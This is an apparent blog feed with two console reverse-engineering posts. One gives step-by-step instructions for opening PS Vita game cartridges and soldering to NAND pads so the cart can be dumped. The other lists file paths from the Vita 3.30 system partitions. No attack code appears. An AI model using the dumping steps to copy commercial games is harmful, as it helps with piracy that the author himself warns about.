Quantcast
Channel: Yifan Lu
Viewing all 77 articles
Browse latest View live

How to Disassemble Vita Game Cartridges

$
0
0

A hacker named katsu recently released a method for dumping Vita games. As a developer, I am completely against piracy, but as a reverse engineer I can’t shy away from taking apart perfectly working devices. However, most pictures I see of Vita game carts taken apart show the game cart casing damaged beyond repair or completely destroyed. I managed to take apart a game cart and put it together with no obvious signs of damage, and I thought I would share my (simple) method here.

Photo Feb 16, 7 48 07 PM

 

If you take a look at the top right or left corner of the game cart, you can see a line of where the two halves of the plastic was glued together. Locate the upper left corner and, with a sharp knife, push the blade into the line on the corner until you have a small dent. Then, move the knife downwards and wiggle the knife until you loosen the glue for the entire left side of the cart. Then keep moving the knife down and when you hit the bottom of the cart, turn and lose about half the bottom edge of the cart. Now you can use your fingers to spread the two halves apart (but be careful not to use too much force and tear the glue from the other two edges), and you can either shake the memory chip out or use a pair of tweezers.

Photo Feb 16, 7 42 47 PM

 

If you were to follow katsu’s pinout, you need to solder to the copper pads. A trick for doing so is to first flux up the points and then melt a pea-sized blob of solder in middle of all the points. Then take your iron and spread the blob around until all the pads are soldered up. Then just make the the remaining blob is not on top of any copper and you can easily remove it.

Photo Feb 16, 8 29 57 PM

 

Then you can solder wires onto the points to your heart’s content. After you’re done with everything, you can easily put the memory chip back into the casing and there is enough glue to keep the two halves of the case together (along with the memory chip). You can then continue to play the game.

Pinout for Vita game cart. Credits to katsu.

If you were to follow the pinout, you can see that it appears to be a standard NAND pinout (not eMMC and not Memory Stick Duo). I have not tested this, but I believe this means you can use NANDWay or any other NAND dumping technique (there’s lots for PS3 and Xbox 360) provided you attach to the right pins. I suspect that the Vita communicates with the game cart through the SD protocol with an additional line for a security interface, but that is just speculation. If that were the case, having one-to-one dumps would not allow you to create clone games. Regardless, I will not be looking too much into game carts because they are so closely tied with piracy.


PS Vita 3.30 Filesystem Listing

$
0
0

To start off, two main facts: 1) this is NOT a hack or anything and 2) this post is completely useless for most people. We have had this information for a long time now and it wasn’t too hard to obtain but we chose to not publicize it because unlike certain other people, we didn’t feel the need to brag about a listing of files with no other information just for the sake of showing off. However, now there’s reports of people obtaining the facility to dump files from the Vita file system. I do not know the details of this alleged method, but seeing how at least one person could benefit from this, there could be others working in secret. Anyways, please don’t make this news.

os0:psp2bootconfig.skprx
os0:psp2config_dolce.skprx
os0:psp2config_vita.skprx
os0:kd/acmgr.skprx
os0:kd/authmgr.skprx
os0:kd/bootimage.skprx
os0:kd/buserror.skprx
os0:kd/crashdump.skprx
os0:kd/dbgsdio.skprx
os0:kd/display.skprx
os0:kd/dmacmgr.skprx
os0:kd/enum_wakeup.skprx
os0:kd/error_table.bin
os0:kd/excpmgr.skprx
os0:kd/exfatfs.skprx
os0:kd/gcauthmgr.skprx
os0:kd/gpucoredump_es4.skprx
os0:kd/hdmi.skprx
os0:kd/intrmgr.skprx
os0:kd/iofilemgr.skprx
os0:kd/krm.skprx
os0:kd/lcd.skprx
os0:kd/lowio.skprx
os0:kd/magicgate.skprx
os0:kd/marlin_hci.skprx
os0:kd/mgkeymgr.skprx
os0:kd/mgvideo.skprx
os0:kd/modulemgr.skprx
os0:kd/msif.skprx
os0:kd/oled.skprx
os0:kd/pamgr.skprx
os0:kd/pcbc.skprx
os0:kd/processmgr.skprx
os0:kd/registry.db0
os0:kd/rtc.skprx
os0:kd/sdbgsdio.skprx
os0:kd/sdif.skprx
os0:kd/sdstor.skprx
os0:kd/sm_comm.skprx
os0:kd/smsc_proxy.skprx
os0:kd/ss_mgr.skprx
os0:kd/syscon.skprx
os0:kd/sysmem.skprx
os0:kd/sysstatemgr.skprx
os0:kd/systimer.skprx
os0:kd/threadmgr.skprx
os0:kd/usbdev_serial.skprx
os0:kd/usbpspcm.skprx
os0:kd/usbstor.skprx
os0:kd/usbstormg.skprx
os0:kd/usbstorvstor.skprx
os0:kd/vipimg.skprx
os0:kd/vnzimg.skprx
os0:kd/wlanbt_robin_img_ax.skprx
os0:sm/act_sm.self
os0:sm/aimgr_sm.self
os0:sm/compat_sm.self
os0:sm/encdec_w_portability_sm.self
os0:sm/gcauthmgr_sm.self
os0:sm/mgkm_sm.self
os0:sm/pm_sm.self
os0:sm/qaf_sm.self
os0:sm/rmauth_sm.self
os0:sm/spkg_verifier_sm_w_key_2.self
os0:sm/update_service_sm.self
os0:sm/utoken_sm.self
os0:ue/safemode.self
os0:us/avcodec_us.suprx
os0:us/driver_us.suprx
os0:us/libgpu_es4.suprx
os0:us/libgxm_es4.suprx
os0:us/libkernel.suprx
vs0:app/NPXS10000/eboot.bin
vs0:app/NPXS10000/near_plugin.rco
vs0:app/NPXS10000/near_plugin_animation.rco
vs0:app/NPXS10000/near_plugin_help_emo.rco
vs0:app/NPXS10000/near_plugin_help_flow.rco
vs0:app/NPXS10000/near_plugin_help_item.rco
vs0:app/NPXS10000/near_plugin_help_playlist.rco
vs0:app/NPXS10000/near_plugin_help_ranking.rco
vs0:app/NPXS10000/near_plugin_help_spot.rco
vs0:app/NPXS10000/near_plugin_help_status.rco
vs0:app/NPXS10000/near_plugin_help_title.rco
vs0:app/NPXS10000/near_plugin_livearea.rco
vs0:app/NPXS10000/near_plugin_new_event.rco
vs0:app/NPXS10000/near_plugin_setting.rco
vs0:app/NPXS10000/near_plugin_tuto_common.rco
vs0:app/NPXS10000/sce_sys/icon0.png
vs0:app/NPXS10000/sce_sys/livearea/contents/bg0.png
vs0:app/NPXS10000/sce_sys/livearea/contents/default_gate.png
vs0:app/NPXS10000/sce_sys/livearea/contents/item01.png
vs0:app/NPXS10000/sce_sys/livearea/contents/item02.png
vs0:app/NPXS10000/sce_sys/livearea/contents/item03.png
vs0:app/NPXS10000/sce_sys/livearea/contents/item04.png
vs0:app/NPXS10000/sce_sys/livearea/contents/item_line.png
vs0:app/NPXS10000/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10000/sce_sys/param.sfo
vs0:app/NPXS10000/sce_sys/pic0.png
vs0:app/NPXS10001/eboot.bin
vs0:app/NPXS10001/np_party_app.suprx
vs0:app/NPXS10001/party_session_image.jpg
vs0:app/NPXS10001/sce_sys/PartyPlugin.rco
vs0:app/NPXS10001/sce_sys/icon0.png
vs0:app/NPXS10001/sce_sys/livearea/contents/bg0.png
vs0:app/NPXS10001/sce_sys/livearea/contents/default_gate.png
vs0:app/NPXS10001/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10001/sce_sys/param.sfo
vs0:app/NPXS10001/sce_sys/pic0.png
vs0:app/NPXS10002/eboot.bin
vs0:app/NPXS10002/sce_sys/icon0.png
vs0:app/NPXS10002/sce_sys/livearea/contents/bg0.png
vs0:app/NPXS10002/sce_sys/livearea/contents/bg1.png
vs0:app/NPXS10002/sce_sys/livearea/contents/default_gate.png
vs0:app/NPXS10002/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10002/sce_sys/param.sfo
vs0:app/NPXS10002/sce_sys/pic0.png
vs0:app/NPXS10002/store_browser_plugin.rco
vs0:app/NPXS10003/eboot.bin
vs0:app/NPXS10003/preset/Asia_B1_favicon.gim
vs0:app/NPXS10003/preset/EU_B1_favicon_32x32.gim
vs0:app/NPXS10003/preset/J1_B1_favicon_SCEJ.gim
vs0:app/NPXS10003/preset/J1_B2_favicon.gim
vs0:app/NPXS10003/preset/J1_B3_favicon.png
vs0:app/NPXS10003/preset/T-ball-32.gim
vs0:app/NPXS10003/preset/UC2_B1-Banner_8BitPNG.png
vs0:app/NPXS10003/preset/UC2_B1_Favicon_8BitPNG.gim
vs0:app/NPXS10003/sce_sys/icon0.png
vs0:app/NPXS10003/sce_sys/livearea/contents/Asia_B1_Banner.png
vs0:app/NPXS10003/sce_sys/livearea/contents/EU_B1_Banner.png
vs0:app/NPXS10003/sce_sys/livearea/contents/J1_B1_banner_SCEJ.png
vs0:app/NPXS10003/sce_sys/livearea/contents/J1_B2_282x108_02.png
vs0:app/NPXS10003/sce_sys/livearea/contents/LA_window.png
vs0:app/NPXS10003/sce_sys/livearea/contents/UC2_B1-Banner_24BitPNG.png
vs0:app/NPXS10003/sce_sys/livearea/contents/UC2_B1-Banner_8BitPNG.png
vs0:app/NPXS10003/sce_sys/livearea/contents/bg0.png
vs0:app/NPXS10003/sce_sys/livearea/contents/def_gate.gim
vs0:app/NPXS10003/sce_sys/livearea/contents/favicon.png
vs0:app/NPXS10003/sce_sys/livearea/contents/mydolce_banner2.png
vs0:app/NPXS10003/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10003/sce_sys/param.sfo
vs0:app/NPXS10003/sce_sys/pic0.png
vs0:app/NPXS10003/webbrowser_bookmark.db
vs0:app/NPXS10003/webbrowser_config.xml
vs0:app/NPXS10003/webbrowser_history.db
vs0:app/NPXS10003/webbrowser_plugin.rco
vs0:app/NPXS10003/webbrowser_preset.db
vs0:app/NPXS10003/webbrowser_preset_VITA_1.db
vs0:app/NPXS10003/webbrowser_preset_VITA_2.db
vs0:app/NPXS10003/webbrowser_preset_VTE_1.db
vs0:app/NPXS10004/eboot.bin
vs0:app/NPXS10004/photocam_plugin.rco
vs0:app/NPXS10004/sce_sys/icon0.png
vs0:app/NPXS10004/sce_sys/livearea/contents/bg0.png
vs0:app/NPXS10004/sce_sys/livearea/contents/camera.png
vs0:app/NPXS10004/sce_sys/livearea/contents/default_gate.png
vs0:app/NPXS10004/sce_sys/livearea/contents/photo.png
vs0:app/NPXS10004/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10004/sce_sys/param.sfo
vs0:app/NPXS10004/sce_sys/pic0.png
vs0:app/NPXS10005/eboot.bin
vs0:app/NPXS10005/mapviewer.db
vs0:app/NPXS10005/mapviewer_plugin.rco
vs0:app/NPXS10005/sce_sys/icon0.png
vs0:app/NPXS10005/sce_sys/livearea/contents/LA_Text_BG.gim
vs0:app/NPXS10005/sce_sys/livearea/contents/Map_Default_Gate.gim
vs0:app/NPXS10005/sce_sys/livearea/contents/Map_LA_BG.gim
vs0:app/NPXS10005/sce_sys/livearea/contents/Text_BG_car.gim
vs0:app/NPXS10005/sce_sys/livearea/contents/Text_BG_human.gim
vs0:app/NPXS10005/sce_sys/livearea/contents/route_history.gim
vs0:app/NPXS10005/sce_sys/livearea/contents/search_history.gim
vs0:app/NPXS10005/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10005/sce_sys/param.sfo
vs0:app/NPXS10005/sce_sys/pic0.png
vs0:app/NPXS10006/eboot.bin
vs0:app/NPXS10006/friend_plugin.rco
vs0:app/NPXS10006/sce_sys/icon0.png
vs0:app/NPXS10006/sce_sys/livearea/contents/bg0.png
vs0:app/NPXS10006/sce_sys/livearea/contents/default_gate.png
vs0:app/NPXS10006/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10006/sce_sys/param.sfo
vs0:app/NPXS10006/sce_sys/pic0.png
vs0:app/NPXS10008/eboot.bin
vs0:app/NPXS10008/sce_sys/icon0.png
vs0:app/NPXS10008/sce_sys/livearea/contents/bg0.png
vs0:app/NPXS10008/sce_sys/livearea/contents/default_gate.png
vs0:app/NPXS10008/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10008/sce_sys/param.sfo
vs0:app/NPXS10008/sce_sys/pic0.png
vs0:app/NPXS10008/trophy_local_plugin.rco
vs0:app/NPXS10008/trophy_network_plugin.rco
vs0:app/NPXS10008/trophy_plugin.rco
vs0:app/NPXS10009/eboot.bin
vs0:app/NPXS10009/musicbrowser_plugin.rco
vs0:app/NPXS10009/sce_sys/icon0.png
vs0:app/NPXS10009/sce_sys/livearea/contents/bg0.png
vs0:app/NPXS10009/sce_sys/livearea/contents/startup.png
vs0:app/NPXS10009/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10009/sce_sys/param.sfo
vs0:app/NPXS10009/sce_sys/pic0.png
vs0:app/NPXS10010/eboot.bin
vs0:app/NPXS10010/sce_sys/icon0.png
vs0:app/NPXS10010/sce_sys/livearea/contents/VideoPlayer_Gate.png
vs0:app/NPXS10010/sce_sys/livearea/contents/bg0.png
vs0:app/NPXS10010/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10010/sce_sys/param.sfo
vs0:app/NPXS10010/sce_sys/pic0.png
vs0:app/NPXS10010/videobrowser_plugin.rco
vs0:app/NPXS10010/videoplayer_plugin.rco
vs0:app/NPXS10010/videoplayer_settings.xml
vs0:app/NPXS10012/eboot.bin
vs0:app/NPXS10012/remoteplay_plugin.rco
vs0:app/NPXS10012/sce_sys/icon0.png
vs0:app/NPXS10012/sce_sys/livearea/contents/bg0.png
vs0:app/NPXS10012/sce_sys/livearea/contents/comboplay.png
vs0:app/NPXS10012/sce_sys/livearea/contents/default_gate.png
vs0:app/NPXS10012/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10012/sce_sys/param.sfo
vs0:app/NPXS10012/sce_sys/pic0.png
vs0:app/NPXS10013/eboot.bin
vs0:app/NPXS10013/gaikai-player.suprx
vs0:app/NPXS10013/json-configs/rp.json
vs0:app/NPXS10013/keymap/00/001.png
vs0:app/NPXS10013/keymap/01/001.png
vs0:app/NPXS10013/keymap/02/001.png
vs0:app/NPXS10013/keymap/03/001.png
vs0:app/NPXS10013/libSceSecondScreen.suprx
vs0:app/NPXS10013/resource/remoteplay_plugin.rco
vs0:app/NPXS10013/sce_sys/icon0.png
vs0:app/NPXS10013/sce_sys/livearea/contents/bg0.png
vs0:app/NPXS10013/sce_sys/livearea/contents/default_gate.png
vs0:app/NPXS10013/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10013/sce_sys/param.sfo
vs0:app/NPXS10013/sce_sys/pic0.png
vs0:app/NPXS10013/second_screen.rco
vs0:app/NPXS10014/eboot.bin
vs0:app/NPXS10014/psn_mail_plugin.rco
vs0:app/NPXS10014/sce_sys/icon0.png
vs0:app/NPXS10014/sce_sys/livearea/contents/Messages_LA_bg.png
vs0:app/NPXS10014/sce_sys/livearea/contents/Messages_btn_LAReceivedMsg.png
vs0:app/NPXS10014/sce_sys/livearea/contents/Messages_gate.png
vs0:app/NPXS10014/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10014/sce_sys/param.sfo
vs0:app/NPXS10014/sce_sys/pic0.png
vs0:app/NPXS10015/bluetooth_settings_plugin.rco
vs0:app/NPXS10015/console_info_plugin.rco
vs0:app/NPXS10015/datetime_settings_plugin.rco
vs0:app/NPXS10015/debug_settings_plugin.rco
vs0:app/NPXS10015/eboot.bin
vs0:app/NPXS10015/idu_settings_plugin.rco
vs0:app/NPXS10015/language_settings_plugin.rco
vs0:app/NPXS10015/location_settings_plugin.rco
vs0:app/NPXS10015/network_settings_plugin.rco
vs0:app/NPXS10015/notification_settings_plugin.rco
vs0:app/NPXS10015/peripherals_settings_plugin.rco
vs0:app/NPXS10015/powersave_settings_plugin.rco
vs0:app/NPXS10015/psn_settings_plugin.rco
vs0:app/NPXS10015/reset_plugin.rco
vs0:app/NPXS10015/sce_sys/icon0.png
vs0:app/NPXS10015/sce_sys/livearea/contents/bg0.png
vs0:app/NPXS10015/sce_sys/livearea/contents/default_gate.png
vs0:app/NPXS10015/sce_sys/livearea/contents/item_usersguide.png
vs0:app/NPXS10015/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10015/sce_sys/param.sfo
vs0:app/NPXS10015/sce_sys/pic0.png
vs0:app/NPXS10015/security_settings_plugin.rco
vs0:app/NPXS10015/sound_settings_plugin.rco
vs0:app/NPXS10015/system_settings_core.suprx
vs0:app/NPXS10015/system_settings_main.rco
vs0:app/NPXS10015/system_settings_plugin.rco
vs0:app/NPXS10015/system_update_plugin.rco
vs0:app/NPXS10015/telephony/tel_set_operator_profile.ini
vs0:app/NPXS10015/telephony_settings_plugin.rco
vs0:app/NPXS10015/theme_settings_plugin.rco
vs0:app/NPXS10015/wifi_settings_plugin.rco
vs0:app/NPXS10016/sce_sys/param.sfo
vs0:app/NPXS10017/eboot.bin
vs0:app/NPXS10017/jx_web_filtering.suprx
vs0:app/NPXS10017/lib/Plugins/silk_plugin.suprx
vs0:app/NPXS10017/sce_sys/param.sfo
vs0:app/NPXS10017/vita_jsextobj.suprx
vs0:app/NPXS10018/eboot.bin
vs0:app/NPXS10018/sce_sys/icon0.png
vs0:app/NPXS10018/sce_sys/livearea/contents/bg0.png
vs0:app/NPXS10018/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10018/sce_sys/param.sfo
vs0:app/NPXS10018/sce_sys/pic0.png
vs0:app/NPXS10018/signup_plugin.rco
vs0:app/NPXS10021/eboot.bin
vs0:app/NPXS10021/opco_icon/ca_telecom.png
vs0:app/NPXS10021/opco_icon/eu_telecom.png
vs0:app/NPXS10021/opco_icon/jp_telecom.png
vs0:app/NPXS10021/opco_icon/unknown.png
vs0:app/NPXS10021/opco_icon/us_telecom.png
vs0:app/NPXS10021/sce_sys/icon0.png
vs0:app/NPXS10021/sce_sys/livearea/contents/bg0.png
vs0:app/NPXS10021/sce_sys/livearea/contents/default_gate.png
vs0:app/NPXS10021/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10021/sce_sys/param.sfo
vs0:app/NPXS10021/tel_reg.suprx
vs0:app/NPXS10021/tel_reg_main.rco
vs0:app/NPXS10021/tel_reg_plugin.rco
vs0:app/NPXS10023/eboot.bin
vs0:app/NPXS10023/sce_sys/param.sfo
vs0:app/NPXS10024/eboot.bin
vs0:app/NPXS10024/sce_sys/livearea/contents
vs0:app/NPXS10024/sce_sys/param.sfo
vs0:app/NPXS10025/eboot.bin
vs0:app/NPXS10025/sce_sys/livearea/contents
vs0:app/NPXS10025/sce_sys/param.sfo
vs0:app/NPXS10026/account_bind_plugin.rco
vs0:app/NPXS10026/eboot.bin
vs0:app/NPXS10026/host_select_plugin.rco
vs0:app/NPXS10026/resource.rco
vs0:app/NPXS10026/sce_sys/icon0.png
vs0:app/NPXS10026/sce_sys/livearea/contents/bg0.png
vs0:app/NPXS10026/sce_sys/livearea/contents/default_gate.png
vs0:app/NPXS10026/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10026/sce_sys/param.sfo
vs0:app/NPXS10026/sce_sys/pic0.png
vs0:app/NPXS10027/eboot.bin
vs0:app/NPXS10027/game_manual_plugin.rco
vs0:app/NPXS10027/sce_sys/param.sfo
vs0:app/NPXS10027/sce_sys/pic0.png
vs0:app/NPXS10028/__sce_discinfo
vs0:app/NPXS10028/eboot.bin
vs0:app/NPXS10028/pcff.skprx
vs0:app/NPXS10028/sce_sys/param.sfo
vs0:app/NPXS10028/sce_sys/ps1_livearea/contents/bg0.png
vs0:app/NPXS10028/sce_sys/ps1_livearea/contents/pokesute_off.png
vs0:app/NPXS10028/sce_sys/ps1_livearea/contents/pokesute_on.png
vs0:app/NPXS10028/sce_sys/ps1_livearea/contents/ps1.png
vs0:app/NPXS10028/sce_sys/ps1_livearea/contents/template.xml
vs0:app/NPXS10028/sce_sys/psp_livearea/contents/bg0.png
vs0:app/NPXS10028/sce_sys/psp_livearea/contents/template.xml
vs0:app/NPXS10029/eboot.bin
vs0:app/NPXS10029/sce_sys/param.sfo
vs0:app/NPXS10031/eboot.bin
vs0:app/NPXS10031/sample_plugin.rco
vs0:app/NPXS10031/sce_sys/icon0.png
vs0:app/NPXS10031/sce_sys/livearea/contents/bg0.png
vs0:app/NPXS10031/sce_sys/livearea/contents/default_gate.png
vs0:app/NPXS10031/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10031/sce_sys/param.sfo
vs0:app/NPXS10032/eboot.bin
vs0:app/NPXS10032/sce_sys/param.sfo
vs0:app/NPXS10035/sce_sys/param.sfo
vs0:app/NPXS10036/eboot.bin
vs0:app/NPXS10036/sce_sys/param.sfo
vs0:app/NPXS10037/eboot.bin
vs0:app/NPXS10037/jx_web_filtering.suprx
vs0:app/NPXS10037/lib/Plugins
vs0:app/NPXS10037/sce_sys/param.sfo
vs0:app/NPXS10037/vita_jsextobj.suprx
vs0:app/NPXS10040/sce_sys/icon0.png
vs0:app/NPXS10040/sce_sys/livearea/contents/bg0.png
vs0:app/NPXS10040/sce_sys/livearea/contents/default_gate.png
vs0:app/NPXS10040/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10040/sce_sys/param.sfo
vs0:app/NPXS10040/sce_sys/pic0.png
vs0:app/NPXS10041/sce_sys/icon0.png
vs0:app/NPXS10041/sce_sys/livearea/contents/bg0.png
vs0:app/NPXS10041/sce_sys/livearea/contents/default_gate.png
vs0:app/NPXS10041/sce_sys/livearea/contents/op_logo.png
vs0:app/NPXS10041/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10041/sce_sys/param.sfo
vs0:app/NPXS10041/sce_sys/pic0.png
vs0:app/NPXS10042/sce_sys/icon0.png
vs0:app/NPXS10042/sce_sys/livearea/contents/bg0.png
vs0:app/NPXS10042/sce_sys/livearea/contents/default_gate.png
vs0:app/NPXS10042/sce_sys/livearea/contents/op_logo.png
vs0:app/NPXS10042/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10042/sce_sys/param.sfo
vs0:app/NPXS10042/sce_sys/pic0.png
vs0:app/NPXS10043/sce_sys/icon0.png
vs0:app/NPXS10043/sce_sys/livearea/contents/bg0.png
vs0:app/NPXS10043/sce_sys/livearea/contents/default_gate.png
vs0:app/NPXS10043/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10043/sce_sys/param.sfo
vs0:app/NPXS10043/sce_sys/pic0.png
vs0:app/NPXS10044/sce_sys/icon0.png
vs0:app/NPXS10044/sce_sys/livearea/contents/bg0.png
vs0:app/NPXS10044/sce_sys/livearea/contents/default_gate.png
vs0:app/NPXS10044/sce_sys/livearea/contents/frame1.png
vs0:app/NPXS10044/sce_sys/livearea/contents/frame2.png
vs0:app/NPXS10044/sce_sys/livearea/contents/frame3.png
vs0:app/NPXS10044/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10044/sce_sys/param.sfo
vs0:app/NPXS10044/sce_sys/pic0.png
vs0:app/NPXS10045/sce_sys/icon0.png
vs0:app/NPXS10045/sce_sys/livearea/contents/bg0.png
vs0:app/NPXS10045/sce_sys/livearea/contents/default_gate.png
vs0:app/NPXS10045/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10045/sce_sys/param.sfo
vs0:app/NPXS10045/sce_sys/pic0.png
vs0:app/NPXS10060/sce_sys/icon0.png
vs0:app/NPXS10060/sce_sys/param.sfo
vs0:app/NPXS10063/eboot.bin
vs0:app/NPXS10063/grpmsg_middleware.rco
vs0:app/NPXS10063/sce_sys/livearea/contents
vs0:app/NPXS10063/sce_sys/param.sfo
vs0:app/NPXS10065/eboot.bin
vs0:app/NPXS10065/grief_report_dialog.suprx
vs0:app/NPXS10065/grief_report_dialog_bg_plugin.rco
vs0:app/NPXS10065/grief_report_dialog_general_plugin.rco
vs0:app/NPXS10065/grief_report_dialog_specific_plugin.rco
vs0:app/NPXS10065/sce_sys/param.sfo
vs0:app/NPXS10065/sce_sys/pic0.png
vs0:app/NPXS10072/eboot.bin
vs0:app/NPXS10072/email_edit_preview_plugin.rco
vs0:app/NPXS10072/email_engine.suprx
vs0:app/NPXS10072/email_first_plugin.rco
vs0:app/NPXS10072/email_plugin.rco
vs0:app/NPXS10072/email_settings_plugin.rco
vs0:app/NPXS10072/email_view_plugin.rco
vs0:app/NPXS10072/sce_sys/icon0.png
vs0:app/NPXS10072/sce_sys/livearea/contents/Email_LA_bg.png
vs0:app/NPXS10072/sce_sys/livearea/contents/default_gate.png
vs0:app/NPXS10072/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10072/sce_sys/param.sfo
vs0:app/NPXS10072/sce_sys/pic0.png
vs0:app/NPXS10073/eboot.bin
vs0:app/NPXS10073/email_bg_plugin.rco
vs0:app/NPXS10073/sce_sys/param.sfo
vs0:app/NPXS10077/crash_report.rco
vs0:app/NPXS10077/eboot.bin
vs0:app/NPXS10077/sce_sys/param.sfo
vs0:app/NPXS10078/comboplay_plugin.rco
vs0:app/NPXS10078/eboot.bin
vs0:app/NPXS10078/sce_sys/icon0.png
vs0:app/NPXS10078/sce_sys/livearea/contents/bg0.png
vs0:app/NPXS10078/sce_sys/livearea/contents/default_gate.png
vs0:app/NPXS10078/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10078/sce_sys/param.sfo
vs0:app/NPXS10078/sce_sys/pic0.png
vs0:app/NPXS10079/dailychecker_bg.rco
vs0:app/NPXS10079/eboot.bin
vs0:app/NPXS10079/sce_sys/param.sfo
vs0:app/NPXS10080/eboot.bin
vs0:app/NPXS10080/sce_sys/livearea/contents
vs0:app/NPXS10080/sce_sys/param.sfo
vs0:app/NPXS10081/eboot.bin
vs0:app/NPXS10081/psm_manual_plugin.rco
vs0:app/NPXS10081/sce_sys/param.sfo
vs0:app/NPXS10081/sce_sys/pic0.png
vs0:app/NPXS10082/sce_sys/param.sfo
vs0:app/NPXS10082/spawn.self
vs0:app/NPXS10083/eboot.bin
vs0:app/NPXS10083/sce_sys/param.sfo
vs0:app/NPXS10084/eboot.bin
vs0:app/NPXS10084/sce_sys/param.sfo
vs0:app/NPXS10085/eboot.bin
vs0:app/NPXS10085/sce_sys/param.sfo
vs0:app/NPXS10085/sce_sys/pic0.png
vs0:app/NPXS10085/videoplayer_plugin.rco
vs0:app/NPXS10085/videoplayer_settings.xml
vs0:app/NPXS10090/sce_sys/param.sfo
vs0:app/NPXS10091/calendar_plugin.rco
vs0:app/NPXS10091/eboot.bin
vs0:app/NPXS10091/sce_sys/icon0.png
vs0:app/NPXS10091/sce_sys/livearea/contents/bg0.png
vs0:app/NPXS10091/sce_sys/livearea/contents/cal_livearea_list_bg.gim
vs0:app/NPXS10091/sce_sys/livearea/contents/cal_livearea_recommend.gim
vs0:app/NPXS10091/sce_sys/livearea/contents/cal_livearea_recommend_new.gim
vs0:app/NPXS10091/sce_sys/livearea/contents/default_gate.png
vs0:app/NPXS10091/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10091/sce_sys/param.sfo
vs0:app/NPXS10091/sce_sys/pic0.png
vs0:app/NPXS10091/sce_sys/ringtone.mp3
vs0:app/NPXS10092/calendar_bg_plugin.rco
vs0:app/NPXS10092/eboot.bin
vs0:app/NPXS10092/sce_sys/param.sfo
vs0:app/NPXS10093/sce_sys/icon0.png
vs0:app/NPXS10093/sce_sys/livearea/contents/bg.png
vs0:app/NPXS10093/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10093/sce_sys/param.sfo
vs0:app/NPXS10094/eboot.bin
vs0:app/NPXS10094/kids_app_plugin.rco
vs0:app/NPXS10094/sce_sys/icon0.png
vs0:app/NPXS10094/sce_sys/livearea/contents/bg0.png
vs0:app/NPXS10094/sce_sys/livearea/contents/default_gate.png
vs0:app/NPXS10094/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10094/sce_sys/param.sfo
vs0:app/NPXS10094/sce_sys/pic0.png
vs0:app/NPXS10095/eboot.bin
vs0:app/NPXS10095/panorama_plugin.rco
vs0:app/NPXS10095/sce_sys/icon0.png
vs0:app/NPXS10095/sce_sys/livearea/contents
vs0:app/NPXS10095/sce_sys/param.sfo
vs0:app/NPXS10095/sce_sys/pic0.png
vs0:app/NPXS10098/eboot.bin
vs0:app/NPXS10098/gaikai-player.suprx
vs0:app/NPXS10098/json-configs/rp.json
vs0:app/NPXS10098/json-configs/rp_720p.json
vs0:app/NPXS10098/resource/remoteplay_plugin.rco
vs0:app/NPXS10098/sce_sys/icon0.png
vs0:app/NPXS10098/sce_sys/livearea/contents/bg0.png
vs0:app/NPXS10098/sce_sys/livearea/contents/default_gate.png
vs0:app/NPXS10098/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10098/sce_sys/param.sfo
vs0:app/NPXS10098/sce_sys/pic0.png
vs0:app/NPXS10100/eboot.bin
vs0:app/NPXS10100/sce_sys/param.sfo
vs0:app/NPXS10101/eboot.bin
vs0:app/NPXS10101/sce_sys/param.sfo
vs0:app/NPXS10916/MainView.rco
vs0:app/NPXS10916/eboot.bin
vs0:app/NPXS10916/sce_sys/icon0.png
vs0:app/NPXS10916/sce_sys/livearea/contents/bg0.png
vs0:app/NPXS10916/sce_sys/livearea/contents/template.xml
vs0:app/NPXS10916/sce_sys/param.sfo
vs0:data/external/app/default/sce_sys/livearea/contents
vs0:data/external/app/friends/sce_sys/livearea
vs0:data/external/app/signup/sce_sys/livearea/contents
vs0:data/external/app/webbrowser
vs0:data/external/cdlg/calendar_review_dialog_plugin.rco
vs0:data/external/cdlg/cameraimport_dialog_plugin.rco
vs0:data/external/cdlg/companion_dialog_plugin.rco
vs0:data/external/cdlg/compat_dialog_plugin.rco
vs0:data/external/cdlg/contacts_list_plugin.rco
vs0:data/external/cdlg/contacts_near_plugin.rco
vs0:data/external/cdlg/contacts_pa_plugin.rco
vs0:data/external/cdlg/cross_controller_dialog_plugin.rco
vs0:data/external/cdlg/fb_dialog_plugin.rco
vs0:data/external/cdlg/friend_profile_plugin.rco
vs0:data/external/cdlg/friend_select_plugin.rco
vs0:data/external/cdlg/friendlist_dialog_plugin.rco
vs0:data/external/cdlg/game_custom_data_dialog_impl_plugin.rco
vs0:data/external/cdlg/ime_dialog_plugin.rco
vs0:data/external/cdlg/invitation_dialog_impl_plugin.rco
vs0:data/external/cdlg/mailer_address_plugin.rco
vs0:data/external/cdlg/msg_dialog_plugin.rco
vs0:data/external/cdlg/near_dialog_plugin.rco
vs0:data/external/cdlg/netcheck_plugin.rco
vs0:data/external/cdlg/np_message_dialog_impl_plugin.rco
vs0:data/external/cdlg/np_sns_fb_dialog_plugin.rco
vs0:data/external/cdlg/np_trophy_setup_dialog_plugin.rco
vs0:data/external/cdlg/npeula_dialog_plugin.rco
vs0:data/external/cdlg/npprofile_dialog_plugin.rco
vs0:data/external/cdlg/party_member_list_plugin.rco
